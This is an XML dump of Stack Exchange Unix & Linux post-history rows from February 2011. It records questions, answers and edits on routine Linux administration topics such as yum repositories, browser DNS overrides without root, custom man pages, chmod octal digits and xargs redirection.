  <row Id="15841" PostHistoryTypeId="5" PostId="6827" RevisionGUID="66f8efc4-aa7d-44fb-9c5d-5f035b40c9e0" CreationDate="2011-02-04T07:04:30.663" UserId="688" Comment="added 116 characters in body; deleted 3 characters in body" Text="With one repository I did it like this ([as root][1]):&#xD;&#xA;&#xD;&#xA;    # cd /etc/yum.repos&#xD;&#xA;    # wget https://some.repo.example.org/foo/bar/Fedora_14/foo_bar.repo&#xD;&#xA;    # grep enabled foo_bar.repo&#xD;&#xA;    enabled=1&#xD;&#xA;&#xD;&#xA;Is this the recommended way to add a package repository under Fedora (&gt;= 14)?&#xD;&#xA;&#xD;&#xA;Is there some policy/standard that each proper Fedora package repository should contain such a config file (i.e. some .repo file)?&#xD;&#xA;&#xD;&#xA;(basically just for the reason that a user or some tool can copy it to the local /etc/yum directory?)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3063/how-do-i-run-a-command-as-the-system-administrator-root" />
  <row Id="15842" PostHistoryTypeId="2" PostId="6886" RevisionGUID="9e0a523b-ae9b-4fc9-b9d0-c725efe05c58" CreationDate="2011-02-04T07:54:27.260" UserId="838" Text="`fluxbox` can match windows based upon certain patterns on its own. With at least `fluxbox-1.1.1` this is possible:&#xD;&#xA;&#xD;&#xA;      Mod4 r :If {Some Matches (title=.*bash) (class=XTerm)} {NextWindow (xterm)} {Exec xterm}&#xD;&#xA;&#xD;&#xA;(translates to: `on press windows-key + r: check, if there is a xterm with its title ending in 'bash'. if there is, go to that window; if not, open a new one`. With a bleeding edge version (git) you can even go to windows on a different workspace.&#xD;&#xA;&#xD;&#xA;The only thing you have to do is to modify the title (or any other property of the window carrying the bash)  depending on what you do. if you look at the prompt you have to set a property, if you launch a command, you have to take away that property. `fluxbox` is not able to look inside the applications, it only knows about the windows." />
  <row Id="15843" PostHistoryTypeId="25" PostId="6852" RevisionGUID="0a752870-5ec6-4af4-b392-a6acbc2de0ae" CreationDate="2011-02-04T08:16:29.673" Comment="http://twitter.com/#!/StackUnix/status/33438731927031808" />
  <row Id="15844" PostHistoryTypeId="2" PostId="6887" RevisionGUID="55f9d794-3324-49d6-a8eb-82f764ea9476" CreationDate="2011-02-04T08:28:59.147" UserId="29" Text="I want to set a dns record that my browser will use, but I don't have root access, and so can't modify `/etc/hosts` I need to do this for testing vhosts with apache, whose dns hasn't yet been set up. I have access to firefox, and chrome, so if their's a plugin that could facilitate it, or other options are helpful." />
  <row Id="15845" PostHistoryTypeId="1" PostId="6887" RevisionGUID="55f9d794-3324-49d6-a8eb-82f764ea9476" CreationDate="2011-02-04T08:28:59.147" UserId="29" Text="Can I create override dns similar to writing in /etc/hosts without root access" />
  <row Id="15846" PostHistoryTypeId="3" PostId="6887" RevisionGUID="55f9d794-3324-49d6-a8eb-82f764ea9476" CreationDate="2011-02-04T08:28:59.147" UserId="29" Text="édnsà" />
  <row Id="15847" PostHistoryTypeId="5" PostId="6827" RevisionGUID="cedbd20d-4c5a-4c4e-804f-a250c098c088" CreationDate="2011-02-04T08:35:37.393" UserId="1131" Comment="changed shell prompt back to what is used in most documentation" Text="With one repository I did it like this ([as root][1]):&#xD;&#xA;&#xD;&#xA;    $ cd /etc/yum.repos&#xD;&#xA;    $ wget https://some.repo.example.org/foo/bar/Fedora_14/foo_bar.repo&#xD;&#xA;    $ grep enabled foo_bar.repo&#xD;&#xA;    enabled=1&#xD;&#xA;&#xD;&#xA;Is this the recommended way to add a package repository under Fedora (&gt;= 14)?&#xD;&#xA;&#xD;&#xA;Is there some policy/standard which specifies that each proper Fedora package repository should (or must) contain such a config file (i.e. such a .repo file)?&#xD;&#xA;&#xD;&#xA;(basically just for the reason that a user or some tool can copy it to the local /etc/yum directory?)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3063/how-do-i-run-a-command-as-the-system-administrator-root" />
  <row Id="15848" PostHistoryTypeId="5" PostId="6887" RevisionGUID="55de9474-2bbf-4149-9a64-db997f539db4" CreationDate="2011-02-04T08:39:31.927" UserId="688" Comment="grammar, typos; edited body" Text="I want to set a dns record that my browser will use, but I don't have root access, so I can't modify `/etc/hosts`. I need to do this for testing vhosts with apache, whose dns hasn't yet been set up. I have access to firefox, and chrome, so if there's a plugin that could facilitate it, or other options are helpful." />
  <row Id="15849" PostHistoryTypeId="2" PostId="6888" RevisionGUID="72c1fad9-5dd7-4ec0-8b59-01ec77e4f4c8" CreationDate="2011-02-04T08:41:05.280" UserId="1131" Text="Check out following question at superuser:&#xD;&#xA;&#xD;&#xA;http://superuser.com/questions/184643/override-dns-in-firefox" />
  <row Id="15850" PostHistoryTypeId="5" PostId="6884" RevisionGUID="17d2150b-3b97-4424-9699-718e1bb54be2" CreationDate="2011-02-04T08:51:27.570" UserId="688" Comment="rm redundant link; formatting" Text="From a security perspective, the answer is that in current distros you can't tell which application it is. See [this bug report](https://bugzilla.gnome.org/show_bug.cgi?id=574315#c4) for clarification from a gnome-keyring developer, including the security implications and scope of the task.&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;From a practical perspective I am also using auto-login on Ubuntu, and it seems that it is indeed nm-applet.&lt;/sub&gt;" />
  <row Id="15851" PostHistoryTypeId="2" PostId="6889" RevisionGUID="c28ae66b-603c-4119-98ba-f87068d77c11" CreationDate="2011-02-04T08:53:24.860" UserId="3372" Text="Unlucky not, you cannot, except you write your own internet browser.&#xD;&#xA;&#xD;&#xA;If you have to do some tests you need a test machine, whatever is a virtual machine or a real one, so you have to ask your Unix admin (or hosting provider) how you can put in place a development environment.&#xD;&#xA;&#xD;&#xA;You can also install a VM on your PC, install a Linux distribution, Apache and test your changes (it's not as hard as it sounds)" />
  <row Id="15852" PostHistoryTypeId="5" PostId="6227" RevisionGUID="0ffae4a8-9eb9-42b6-b03e-6aba736a2e52" CreationDate="2011-02-04T09:02:06.867" UserId="688" Comment="added 4 characters in body" Text="Edit your &quot;**/etc/ssh/ssh_config**&quot; and comment out these lines:&#xD;&#xA;&#xD;&#xA;    GSSAPIAuthentication yes&#xD;&#xA;    GSSAPIDelegateCredentials no&#xD;&#xA;" />
  <row Id="15853" PostHistoryTypeId="5" PostId="6785" RevisionGUID="02edebe7-a60f-4e10-aff3-14952675d079" CreationDate="2011-02-04T09:04:59.390" UserId="688" Comment="added 2 characters in body; edited title" Text="I use Fedora 14 and I am a newbie to Linux. Some days ago, I used the command `yum remove openoffice.org-*` and removed openoffice successfully. The, I wanted to get it back. I have all the packages and dependancies required to install in an installation dvd. The problem is that when I try to manually install each package, **yum** does not check dependencies in the DVD. How can I configure yum to look for all dependancies and packages required, in the DVD? " />
  <row Id="15854" PostHistoryTypeId="4" PostId="6785" RevisionGUID="02edebe7-a60f-4e10-aff3-14952675d079" CreationDate="2011-02-04T09:04:59.390" UserId="688" Comment="added 2 characters in body; edited title" Text="How to use yum to install from a DVD" />
  <row Id="15855" PostHistoryTypeId="5" PostId="6788" RevisionGUID="23129f82-cd80-4f39-9f60-4529245d9126" CreationDate="2011-02-04T09:08:19.710" UserId="3169" Comment="added 16 characters in body; added 84 characters in body" Text="Every program can see the full command name that was used to run it.&#xD;&#xA;&#xD;&#xA;In a C program, the command line is stored in `argv`, with the program name being the first element, i.e. `argv[0]`.&#xD;&#xA;&#xD;&#xA;From the command line, you can see the same information using `ps -p &lt;pid&gt; -o cmd` or `cat /proc/&lt;pid&gt;/cmdline`.&#xD;&#xA;&#xD;&#xA;Note that there is another type of link called a hard link that will have the same effect.  On my system for example, `sudo` and `sudoedit` are the same file with two different names, and different behaviors.&#xD;&#xA;&#xD;&#xA;`ls -i` can help you find those commands, e.g.:&#xD;&#xA;&#xD;&#xA;    $ ls -il | awk '$3 != 1 { print }'&#xD;&#xA;    total 156872&#xD;&#xA;    2491111 -rwsr-xr-x 2 root   root     127560 2011-01-20 05:03 sudo&#xD;&#xA;    2491111 -rwsr-xr-x 2 root   root     127560 2011-01-20 05:03 sudoedit&#xD;&#xA;&#xD;&#xA;See `man ln` for more details about hard links if you're not familiar with them." />
  <row Id="15856" PostHistoryTypeId="5" PostId="6788" RevisionGUID="7098ba0a-d575-49d7-8be3-2bc9d506ebac" CreationDate="2011-02-04T09:14:41.000" UserId="3169" Comment="added 52 characters in body" Text="Every program can see the full command line that was used to run it (except for wildcards and variables, which the shell expands).&#xD;&#xA;&#xD;&#xA;In a C program, the command line is stored in `argv`, with the program's name being the first element, i.e. `argv[0]`.&#xD;&#xA;&#xD;&#xA;From bash, you can see the same information using `ps -p &lt;pid&gt; -o cmd` or `cat /proc/&lt;pid&gt;/cmdline`.&#xD;&#xA;&#xD;&#xA;Note that there is another type of link called a hard link that will have the same effect.  On my system for example, `sudo` and `sudoedit` are the same file with two different names, and different behaviors.&#xD;&#xA;&#xD;&#xA;`ls -i` can help you find those commands, e.g.:&#xD;&#xA;&#xD;&#xA;    $ ls -il | awk '$3 != 1 { print }'&#xD;&#xA;    total 156872&#xD;&#xA;    2491111 -rwsr-xr-x 2 root   root     127560 2011-01-20 05:03 sudo&#xD;&#xA;    2491111 -rwsr-xr-x 2 root   root     127560 2011-01-20 05:03 sudoedit&#xD;&#xA;&#xD;&#xA;See `man ln` for more details about hard links if you're not familiar with them." />
  <row Id="15857" PostHistoryTypeId="5" PostId="6887" RevisionGUID="0dfecbcf-28c5-4653-99ae-f8540626b2ba" CreationDate="2011-02-04T10:04:48.147" UserId="29" Comment="maybe not using a comma will make it more clear" Text="I want to set a dns record that my browser will use, but I don't have root access, so I can't modify `/etc/hosts`. I need to do this for testing vhosts with apache, whose dns hasn't yet been set up. I have access to firefox, and chrome, so if there's a plugin that could facilitate it; or other options are helpful." />
  <row Id="15858" PostHistoryTypeId="6" PostId="6876" RevisionGUID="45983f74-5f2e-416c-8e6b-e86fe021bfd8" CreationDate="2011-02-04T10:34:27.653" UserId="29" Comment="add distro's tag" Text="édistrosàéwirelessà" />
  <row Id="15859" PostHistoryTypeId="2" PostId="6890" RevisionGUID="3efea590-206c-407f-914f-bcfdf4e46fe6" CreationDate="2011-02-04T10:50:42.143" UserId="688" Text="It happens often that my cursor on gnome-terminal disappears, forcing me to work on a new tab/window. It seems like a random occurence. Does anyone else experience this? What about other X terminal emulators? How can I fix this (or maybe it's just a bug)?&#xD;&#xA;" />
  <row Id="15860" PostHistoryTypeId="1" PostId="6890" RevisionGUID="3efea590-206c-407f-914f-bcfdf4e46fe6" CreationDate="2011-02-04T10:50:42.143" UserId="688" Text="What is causing my cursor 'randomly' disappear when using gnome-teminal?" />
  <row Id="15861" PostHistoryTypeId="3" PostId="6890" RevisionGUID="3efea590-206c-407f-914f-bcfdf4e46fe6" CreationDate="2011-02-04T10:50:42.143" UserId="688" Text="égnomeàéterminalöemulatorà" />
  <row Id="15862" PostHistoryTypeId="25" PostId="6887" RevisionGUID="f05ef9c0-91e0-418a-8af8-8d4280e934e8" CreationDate="2011-02-04T11:16:30.160" Comment="http://twitter.com/#!/StackUnix/status/33484032130023424" />
  <row Id="15863" PostHistoryTypeId="5" PostId="6890" RevisionGUID="a270a88f-1de9-4a85-add6-e65ca4ebccb7" CreationDate="2011-02-04T11:39:11.923" UserId="688" Comment="added 1 characters in body; added 2 characters in body" Text="It happens often that my cursor on `gnome-terminal` disappears, forcing me to work on a new tab/window. It seems like a random occurrence. Does anyone else experience this? What about other X terminal emulators? How can I fix this (or maybe it's just a bug)?&#xD;&#xA;" />
  <row Id="15864" PostHistoryTypeId="2" PostId="6891" RevisionGUID="8988133b-504d-4fa5-b141-59f6476f152f" CreationDate="2011-02-04T11:42:28.803" UserId="446" Text="I have no idea about how I can make my home-grown specialist scripts (written mostly in Bash and Perl) available through the `man` pages.&#xD;&#xA;&#xD;&#xA;What procedure would I have to follow, and is there a particular format that the documentation needs to be written in for me to be able to do this?" />
  <row Id="15865" PostHistoryTypeId="1" PostId="6891" RevisionGUID="8988133b-504d-4fa5-b141-59f6476f152f" CreationDate="2011-02-04T11:42:28.803" UserId="446" Text="How can I add man page entries for my own power tools?" />
  <row Id="15866" PostHistoryTypeId="3" PostId="6891" RevisionGUID="8988133b-504d-4fa5-b141-59f6476f152f" CreationDate="2011-02-04T11:42:28.803" UserId="446" Text="émanàédocumentationà" />
  <row Id="15867" PostHistoryTypeId="2" PostId="6892" RevisionGUID="6f46c081-27c1-4a24-a240-07f1f3e8eb61" CreationDate="2011-02-04T11:50:50.570" UserId="3169" Text="In brief, see `man groff_man` for the file format ([web version][2]).&#xD;&#xA;&#xD;&#xA;Save it in `/usr/local/man/man1`.&#xD;&#xA;&#xD;&#xA;See [the Man Page HOWTO][1] for more details.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tldp.org/HOWTO/Man-Page/&#xD;&#xA;  [2]: http://linux.die.net/man/7/groff_man" />
  <row Id="15868" PostHistoryTypeId="5" PostId="6892" RevisionGUID="6aa5633f-aa20-4814-93af-01c5cab55c61" CreationDate="2011-02-04T12:02:03.350" UserId="3169" Comment="added 46 characters in body" Text="In brief, see `man groff_man` for the file format ([web version][2]).&#xD;&#xA;&#xD;&#xA;Save it in `/usr/local/man/man1` or `/usr/share/man/man1` if that doesn't work.&#xD;&#xA;&#xD;&#xA;See [the Man Page HOWTO][1] for more details.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tldp.org/HOWTO/Man-Page/&#xD;&#xA;  [2]: http://linux.die.net/man/7/groff_man" />
  <row Id="15869" PostHistoryTypeId="2" PostId="6893" RevisionGUID="3f138375-3793-4c2d-bb55-afd128a1bdee" CreationDate="2011-02-04T12:07:12.563" UserId="688" Text="A lot of times when I install packages, I get strange warning messages. Here's a snippet:&#xD;&#xA;&#xD;&#xA;	Processing triggers for libglib2.0-0 ...&#xD;&#xA;	Processing triggers for man-db ...&#xD;&#xA;	Processing triggers for desktop-file-utils ...&#xD;&#xA;	Processing triggers for gnome-menus ...&#xD;&#xA;	Processing triggers for menu ...&#xD;&#xA;	Processing triggers for gconf2 ...&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	Processing triggers for hicolor-icon-theme ...&#xD;&#xA;	Processing triggers for shared-mime-info ...&#xD;&#xA;&#xD;&#xA;Anyone knows what causes this? These aren't harmless messages, but what do they mean? How to I get rid of them?&#xD;&#xA;&#xD;&#xA;[__note__] I use Debian Squeeze.&#xD;&#xA;" />
  <row Id="15870" PostHistoryTypeId="1" PostId="6893" RevisionGUID="3f138375-3793-4c2d-bb55-afd128a1bdee" CreationDate="2011-02-04T12:07:12.563" UserId="688" Text="Strange messages on installation" />
  <row Id="15871" PostHistoryTypeId="3" PostId="6893" RevisionGUID="3f138375-3793-4c2d-bb55-afd128a1bdee" CreationDate="2011-02-04T12:07:12.563" UserId="688" Text="édebianàéaptögetàépackageömanagementà" />
  <row Id="15872" PostHistoryTypeId="5" PostId="6876" RevisionGUID="0dba0184-0d71-4027-9e56-2f3f80f60414" CreationDate="2011-02-04T12:25:50.973" UserId="688" Comment="deleted 8 characters in body" Text="I am looking for some input on how to get a linux distro rolling that will be suitable for use as a wireless basestation.&#xD;&#xA;&#xD;&#xA;Now, there are the router firmware projects OpenWRT and DDWRT which are both Linux-based and offer the functionality I need, to an extent. The issue is that I wish to put this on an x86 machine and use it, not only as a basestation but, also for other, more general purposes. Now OpenWRT and DDWRT have the router functionality, but because they are meant for limited hardware they are stripped of much other functionality.&#xD;&#xA;&#xD;&#xA;So I would be looking for a solution that would allow my machine to run as a wireless infrastructure basestation while also doing the following: &#xD;&#xA;&#xD;&#xA; - Bringing in video from an external framegrabber.&#xD;&#xA; - Encoding this video with x264.&#xD;&#xA;&#xD;&#xA;I am looking for any input on what you might think is the most appropriate way to go about something like this.&#xD;&#xA;" />
  <row Id="15873" PostHistoryTypeId="2" PostId="6894" RevisionGUID="b4ce6f98-b09f-48b2-8d7d-5cc40d90376f" CreationDate="2011-02-04T13:17:15.097" UserId="3608" Text="My system have to auto-mount for usb devices, how can I be notified when a usb device is plugged? Where can I read more about?&#xD;&#xA;&#xD;&#xA;I would like to treat that using shell script or C." />
  <row Id="15874" PostHistoryTypeId="1" PostId="6894" RevisionGUID="b4ce6f98-b09f-48b2-8d7d-5cc40d90376f" CreationDate="2011-02-04T13:17:15.097" UserId="3608" Text="How to be notified when a USB device was plugged?" />
  <row Id="15875" PostHistoryTypeId="3" PostId="6894" RevisionGUID="b4ce6f98-b09f-48b2-8d7d-5cc40d90376f" CreationDate="2011-02-04T13:17:15.097" UserId="3608" Text="éusbàédevicesà" />
  <row Id="15876" PostHistoryTypeId="2" PostId="6895" RevisionGUID="9dfe6cc1-905d-47ee-8643-9e6a82a7ffec" CreationDate="2011-02-04T13:30:30.710" UserId="4461" Text="Udev support running [external programs][1]&#xD;&#xA;&#xD;&#xA;    KERNEL==&quot;sdb&quot;, RUN+=&quot;/usr/bin/my_program&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://reactivated.net/writing_udev_rules.html" />
  <row Id="15877" PostHistoryTypeId="5" PostId="6889" RevisionGUID="c1140f80-f9af-4ec6-90d6-c4db455ff8b1" CreationDate="2011-02-04T13:35:06.510" UserId="3372" Comment="added 865 characters in body" Text="Unlucky not, you cannot, except you write your own internet browser.&#xD;&#xA;&#xD;&#xA;If you have to do some tests you need a test machine, whatever is a virtual machine or a real one, so you have to ask your Unix admin (or hosting provider) how you can put in place a development environment.&#xD;&#xA;&#xD;&#xA;You can also install a VM on your PC, install a Linux distribution, Apache and test your changes (it's not as hard as it sounds)&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;To better explain, each application is written using the standard libraries, this way nobody has to rewrite the low level library and functions like the gethostbyname().&#xD;&#xA;&#xD;&#xA;These functions normally are set to use file (/etc/hosts) and DNS, so, unlucky, if you need that your browser will resolve a name than the one is set in the /etc/hosts you don't have too many alternatives.&#xD;&#xA;&#xD;&#xA;  1. You can set up your own DNS server and ask who has root rights to change the /etc/resolve.conf&#xD;&#xA;  2. You can install a proxy server like [DeleGate][1] and set some rules for your VirtualHost&#xD;&#xA;  3. Ask sudo rights on that customer host&#xD;&#xA;  4. Change the behavior of the application you are using to test the connection (I guess the browser), for example https://addons.mozilla.org/en-US/firefox/addon/switchhosts/&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.delegate.org/delegate/" />
  <row Id="15878" PostHistoryTypeId="2" PostId="6896" RevisionGUID="4c85a2e9-8998-481a-b4a9-6c859928f911" CreationDate="2011-02-04T13:51:15.733" UserId="4463" Text="Could it be that you inadvertently press CTRL+S, sending XOFF to your terminal and thus locking it?&#xD;&#xA;&#xD;&#xA;Next time it happens, try pressing CTRL+Q to unlock it." />
  <row Id="15879" PostHistoryTypeId="2" PostId="6897" RevisionGUID="9bb4302e-5946-4310-a5af-8ce4374e9295" CreationDate="2011-02-04T14:14:15.430" UserId="3959" Text="You can write a wrapper around the libc function to resolve hostnames and look them up in a different file than /etc/hosts. Then run any application you'd like to use your hosts file with&#xD;&#xA;&#xD;&#xA;    LD_PRELOAD=wrapper.so firefox" />
  <row Id="15880" PostHistoryTypeId="25" PostId="6894" RevisionGUID="0e0c3596-72c7-4664-b43f-4e9b3937159b" CreationDate="2011-02-04T14:16:30.443" Comment="http://twitter.com/#!/StackUnix/status/33529332005609473" />
  <row Id="15881" PostHistoryTypeId="2" PostId="6898" RevisionGUID="5dac12e7-ca92-4fed-bd5e-fdbf53be0a95" CreationDate="2011-02-04T14:18:03.623" UserId="3976" Text="if running Ctrl-Q (as described in another Answer) doesn't work, it's possible that your TTY has been mangled by some other program you've run.  Try running `reset` and then `clear` (or ctrl-L) to initialze your terminal." />
  <row Id="15882" PostHistoryTypeId="2" PostId="6899" RevisionGUID="8c84a597-25ba-453c-9606-b38a9797bbba" CreationDate="2011-02-04T14:30:02.613" UserId="3976" Text="I think the best way to do this would be to set up a SOCKS5 proxy and tell firefox to send the DNS requests over the SOCKS5 proxy (network.proxy.socks_remote_dns).  You could set up a socks5 proxy with openssh fairly easily (the -D option) and have a remote host running with a custom /etc/hosts, or something like [DNSMasq][1] for more complex DNS settings.  Effectively, though, this is pushing the configuration of the DNS settings to a system you can make system-wide changes to.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.thekelleys.org.uk/dnsmasq/doc.html" />
  <row Id="15883" PostHistoryTypeId="2" PostId="6900" RevisionGUID="d9db4ff5-f4fa-4ba6-a1d8-5bc6b9ea4f44" CreationDate="2011-02-04T14:36:49.193" UserId="3976" Text="While it's possible to rebuild a Red Hat CD ISO image, you might benefit from using the [Kickstart mechanism][1] available on existing Red Hat CDs/DVDs.  &#xD;&#xA;&#xD;&#xA;This is how I do something very similar to what you're asking.  Simply create a kickstart and add a %post section that does whatever you're planning to do.  You'll need to find a way to copy over the tar file, either by mounting an NFS share or using 'wget' to download from an HTTP server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/5/html/Installation_Guide/s1-kickstart2-file.html" />
  <row Id="15884" PostHistoryTypeId="2" PostId="6901" RevisionGUID="0985a64e-4b64-43da-a0b7-8de1b6fefe66" CreationDate="2011-02-04T14:44:57.297" UserId="3976" Text="I've found that using [Perl's POD][1] is much easier than writing man pages directly, and you can create a man page from the POD file with the `pod2man` utility (part of the base Perl package).  Since some of your executables are already written in Perl, you can add POD formatting directly to your scripts and they can be turned into POD files directly.  I've also seen several projects use POD format even though their code is written in other languages, due to POD's simplicity.&#xD;&#xA;&#xD;&#xA;To add an additional directory of man pages, you can set the `$MANPATH` environment variable.  Prefix `$MANPATH` with a `:` to have it added to the list of already-configured man paths.  Use the `manpath` command to see the currently defined man paths.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Plain_Old_Documentation" />
  <row Id="15885" PostHistoryTypeId="2" PostId="6902" RevisionGUID="246be2fe-74fa-418f-9cb7-a7e90498f1ec" CreationDate="2011-02-04T15:41:20.430" UserId="3976" Text="You really want to create an alternate installation of OpenSSL 1.0.0c, and not replace the system libraries.  You risk breaking large parts of your CentOS system by replacing the 0.9.8k libraries.  Best to just compile it and install it in /usr/local/openssl or something similar." />
  <row Id="15886" PostHistoryTypeId="2" PostId="6903" RevisionGUID="1a2cfff7-a307-4625-95f2-625d90f1d2eb" CreationDate="2011-02-04T15:56:01.667" UserId="2689" Text="Suppose I have a bunch of files in `/tmp/`.&#xD;&#xA;&#xD;&#xA;I do&#xD;&#xA;&#xD;&#xA;    find . -type f | xargs -iFILES&#xD;&#xA;&#xD;&#xA;And I want to do a `md5sum` in each file, outputting to a file with the same name, but with `.md5` extension.&#xD;&#xA;&#xD;&#xA;    find . -type f | xargs -iFILES md5sum FILES &gt; FILES.md5&#xD;&#xA;&#xD;&#xA;This is supposed to create a md5 file for each file found by find command. Instead, it creates a single FILES.md5 file on disk with checksums from all files.&#xD;&#xA;&#xD;&#xA;How do I say to md5sum command that the FILES represent the current filename and not a FILES literal string?" />
  <row Id="15887" PostHistoryTypeId="1" PostId="6903" RevisionGUID="1a2cfff7-a307-4625-95f2-625d90f1d2eb" CreationDate="2011-02-04T15:56:01.667" UserId="2689" Text="Pass xargs argument as a string to another command with '&gt;'?" />
  <row Id="15888" PostHistoryTypeId="3" PostId="6903" RevisionGUID="1a2cfff7-a307-4625-95f2-625d90f1d2eb" CreationDate="2011-02-04T15:56:01.667" UserId="2689" Text="épipeàéxargsàémd5à" />
  <row Id="15889" PostHistoryTypeId="5" PostId="6885" RevisionGUID="476731fa-000d-4cfb-bda7-f55d98dd1d34" CreationDate="2011-02-04T16:13:13.073" UserId="3372" Comment="Reviewed completely." Text="I'd like to add a tar archive in the standard Red Hat installation CD image and untar the same at a desired location using some post install scripts.&#xD;&#xA;&#xD;&#xA;Can you kindly suggest me how to proceed? In particular:&#xD;&#xA;&#xD;&#xA;  1. How do I add the tar in the iso image.&#xD;&#xA;  2. Where should I place the script.&#xD;&#xA;  3. How to link the script so that it is executed at the end of the installation process.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15890" PostHistoryTypeId="24" PostId="6885" RevisionGUID="a8950ae6-a56c-4f0c-be4c-d943276e058f" CreationDate="2011-02-04T16:13:13.073" Comment="Proposed by 3372 approved by 73 edit id of 8" />
  <row Id="15891" PostHistoryTypeId="2" PostId="6904" RevisionGUID="162d7894-d7d0-47f4-a384-22fd3f02b566" CreationDate="2011-02-04T16:14:01.213" UserId="3976" Text="You need to use a subshell to handle the IO redirection:&#xD;&#xA;&#xD;&#xA;    find . -type f | xargs -iFILES sh -c 'md5sum FILES &gt; FILES.md5'&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15892" PostHistoryTypeId="2" PostId="6905" RevisionGUID="6383979b-d4b3-40b4-bbd2-4e90a31c6479" CreationDate="2011-02-04T16:47:13.400" UserId="1090" Text="`chmod 777` makes a+rwx, but what's it for `chmod 2777`?&#xD;&#xA;" />
  <row Id="15893" PostHistoryTypeId="1" PostId="6905" RevisionGUID="6383979b-d4b3-40b4-bbd2-4e90a31c6479" CreationDate="2011-02-04T16:47:13.400" UserId="1090" Text="chmod 2777 vs chmod 777?" />
  <row Id="15894" PostHistoryTypeId="3" PostId="6905" RevisionGUID="6383979b-d4b3-40b4-bbd2-4e90a31c6479" CreationDate="2011-02-04T16:47:13.400" UserId="1090" Text="échmodà" />
  <row Id="15895" PostHistoryTypeId="2" PostId="6906" RevisionGUID="49d836fd-6ad6-41a5-a620-e0f8ca4d7258" CreationDate="2011-02-04T16:48:38.470" UserId="3309" Text="I've been using for a while this quick and easy tutorial for [creating custom man pages][1].&#xD;&#xA;&#xD;&#xA;The general process is like this:&#xD;&#xA;&#xD;&#xA;1. Create a text file with markup&#xD;&#xA;2. Pass it through a `sed` script to format it for `nroff`&#xD;&#xA;3. Pass it through `nroff`&#xD;&#xA;&#xD;&#xA;You can then optionally (b|g)zip it and put it in the appropriate man directory.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://anaturb.net/create_man_p.htm" />
  <row Id="15896" PostHistoryTypeId="2" PostId="6907" RevisionGUID="f5521c22-e016-43c9-a77d-4e81427738ba" CreationDate="2011-02-04T16:53:23.380" UserId="3976" Text="Please note that `chmod 777 filename` is the equivalent of `chmod 0777 filename` in this example.&#xD;&#xA;&#xD;&#xA;The first octal digit sets the setuid, setgid and sticky bits (see [this article][1] for more details on setuid/setgid).  octal 2 means to set group ID on the file.  So, the equivalent would be to do a `chmod a+rwx filename`, then `chmod g+s filename`.  The `chmod` [info page][2] does explain this in more detail.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Setuid&#xD;&#xA;  [2]: http://www.gnu.org/software/coreutils/manual/html_node/chmod-invocation.html" />
  <row Id="15897" PostHistoryTypeId="5" PostId="6905" RevisionGUID="cee3a6e8-23e8-48f4-b93d-a889eb2a309b" CreationDate="2011-02-04T16:54:45.190" UserId="73" Comment="added 152 characters in body; edited title" Text="Sometimes I see `chmod` commands that use four octal digits instead of three -- what is the fourth digit for? For example, `chmod 777` is equivalent to `chmod a+rwx`; what's the same command for `chmod 2777`?&#xD;&#xA;" />
  <row Id="15898" PostHistoryTypeId="4" PostId="6905" RevisionGUID="cee3a6e8-23e8-48f4-b93d-a889eb2a309b" CreationDate="2011-02-04T16:54:45.190" UserId="73" Comment="added 152 characters in body; edited title" Text="What is the fourth chmod octal digit for?" />
  <row Id="15899" PostHistoryTypeId="4" PostId="554" RevisionGUID="c0891ac7-1225-4881-b1a0-33d6666c331a" CreationDate="2011-02-04T17:06:19.033" UserId="688" Comment="edited title" Text="How to monitor CPU/memory usage of a single process?" />
  <row Id="15900" PostHistoryTypeId="5" PostId="3933" RevisionGUID="98618f64-9b68-44c0-83a0-23134d422e13" CreationDate="2011-02-04T17:10:59.353" UserId="688" Comment="deleted 5 characters in body" Text="Have a look at [ntop.org][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ntop.org" />
  <row Id="15901" PostHistoryTypeId="25" PostId="6905" RevisionGUID="efe6d251-c013-4841-b671-f017808e620f" CreationDate="2011-02-04T17:16:29.773" Comment="http://twitter.com/#!/StackUnix/status/33574628009967616" />
  <row Id="15902" PostHistoryTypeId="2" PostId="6908" RevisionGUID="5a64cde7-df85-461b-9b0c-631c1b53c472" CreationDate="2011-02-04T17:26:48.313" UserId="688" Text="I've found [a nice monitor][1] which allows me to log a variety of runtime data of a single process. I'm looking for an equivalent that does the same for bandwidth usage. Ideally, the command should look like `memmon --pid 1 --log init.log`, ran as *not* root. Is there such?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/5783/is-there-a-tool-that-allows-logging-of-memory-usage/5790#5790" />
